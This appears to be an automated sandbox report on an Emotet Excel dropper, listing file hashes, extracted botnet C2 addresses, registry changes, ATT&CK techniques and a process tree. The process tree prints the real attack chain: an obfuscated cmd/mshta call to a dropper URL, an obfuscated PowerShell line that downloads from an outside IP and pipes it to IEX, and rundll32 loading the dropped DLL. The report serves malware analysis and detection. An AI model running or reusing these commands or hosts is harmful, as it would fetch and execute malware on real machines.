emotet | 65ea61f3ce9199cca575bba5980ce844369c7a899ee509233bdebde2c92524c1

Analysis

max time kernel
147s
max time network
147s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 01:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

KTU-010122 XSIJ-280122.xls
Size

47KB
MD5

f7fec4ec166a17362b23b07e1ff06a5d
SHA1

2704ab7af1ec1d85771bdae6eb38ad89d65c8b4a
SHA256

65ea61f3ce9199cca575bba5980ce844369c7a899ee509233bdebde2c92524c1
SHA512

c761ae7777ca2357b220f50330d61168c16c5df70a80eea2b320870652ceadb357b224377c5897830f3581b2490646f47ba204f1a05464350923991aaa008740

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	704	1480	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1580 mshta.exe
5 1072 powershell.exe
7 1072 powershell.exe
9 1368 rundll32.exe
11 1368 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

2044 rundll32.exe
2044 rundll32.exe
2044 rundll32.exe
2044 rundll32.exe
1600 rundll32.exe
1600 rundll32.exe
1600 rundll32.exe
1600 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Gqrgyuyktie\nzjprn.auj rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1580	mshta.exe
5	1072	powershell.exe
7	1072	powershell.exe
9	1368	rundll32.exe
11	1368	rundll32.exe

pid	process
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
1600	rundll32.exe
1600	rundll32.exe
1600	rundll32.exe
1600	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Gqrgyuyktie\nzjprn.auj	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1480 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1072 powershell.exe
1368 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1072 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1480 EXCEL.EXE
1480 EXCEL.EXE
1480 EXCEL.EXE

pid	process
1480	EXCEL.EXE

pid	process
1072	powershell.exe
1368	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1072	powershell.exe

pid	process
1480	EXCEL.EXE
1480	EXCEL.EXE
1480	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1480 wrote to memory of 704	1480	EXCEL.EXE	CMD.EXE
PID 1480 wrote to memory of 704	1480	EXCEL.EXE	CMD.EXE
PID 1480 wrote to memory of 704	1480	EXCEL.EXE	CMD.EXE
PID 1480 wrote to memory of 704	1480	EXCEL.EXE	CMD.EXE
PID 704 wrote to memory of 1580	704	CMD.EXE	mshta.exe
PID 704 wrote to memory of 1580	704	CMD.EXE	mshta.exe
PID 704 wrote to memory of 1580	704	CMD.EXE	mshta.exe
PID 704 wrote to memory of 1580	704	CMD.EXE	mshta.exe
PID 1580 wrote to memory of 1072	1580	mshta.exe	powershell.exe
PID 1580 wrote to memory of 1072	1580	mshta.exe	powershell.exe
PID 1580 wrote to memory of 1072	1580	mshta.exe	powershell.exe
PID 1580 wrote to memory of 1072	1580	mshta.exe	powershell.exe
PID 1072 wrote to memory of 1752	1072	powershell.exe	cmd.exe
PID 1072 wrote to memory of 1752	1072	powershell.exe	cmd.exe
PID 1072 wrote to memory of 1752	1072	powershell.exe	cmd.exe
PID 1072 wrote to memory of 1752	1072	powershell.exe	cmd.exe
PID 1752 wrote to memory of 2044	1752	cmd.exe	rundll32.exe
PID 1752 wrote to memory of 2044	1752	cmd.exe	rundll32.exe
PID 1752 wrote to memory of 2044	1752	cmd.exe	rundll32.exe
PID 1752 wrote to memory of 2044	1752	cmd.exe	rundll32.exe
PID 1752 wrote to memory of 2044	1752	cmd.exe	rundll32.exe
PID 1752 wrote to memory of 2044	1752	cmd.exe	rundll32.exe
PID 1752 wrote to memory of 2044	1752	cmd.exe	rundll32.exe
PID 2044 wrote to memory of 1600	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 1600	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 1600	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 1600	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 1600	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 1600	2044	rundll32.exe	rundll32.exe
PID 2044 wrote to memory of 1600	2044	rundll32.exe	rundll32.exe
PID 1600 wrote to memory of 960	1600	rundll32.exe	rundll32.exe
PID 1600 wrote to memory of 960	1600	rundll32.exe	rundll32.exe
PID 1600 wrote to memory of 960	1600	rundll32.exe	rundll32.exe
PID 1600 wrote to memory of 960	1600	rundll32.exe	rundll32.exe
PID 1600 wrote to memory of 960	1600	rundll32.exe	rundll32.exe
PID 1600 wrote to memory of 960	1600	rundll32.exe	rundll32.exe
PID 1600 wrote to memory of 960	1600	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1368	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1368	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1368	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1368	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1368	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1368	960	rundll32.exe	rundll32.exe
PID 960 wrote to memory of 1368	960	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\KTU-010122 XSIJ-280122.xls"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:704

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1072

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1752

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gqrgyuyktie\nzjprn.auj",QjtZKY
8⤵
- Suspicious use of WriteProcessMemory
PID:960

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gqrgyuyktie\nzjprn.auj",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

Download Submit
\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

Download Submit
\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

Download Submit
\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

Download Submit
\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
2a50fa6b123d6fba794a83bd0a9697d29fed6d8365bc221e0ecbbb0d3461be899af37035cf4f510c31dd24683b3197bd255d25d5239ab6a4599c5268bc4aa356

Download Submit
\ProgramData\QWER.dll
MD5
4ee771426984b1a6b48d2522776c65a2

SHA1
cbb4bdf131584d811fc7464143acfb7e428fd434

SHA256
862b450eba791b44f14bb1a0e475bab15a418067bac695cc00244127b1cf323a

SHA512
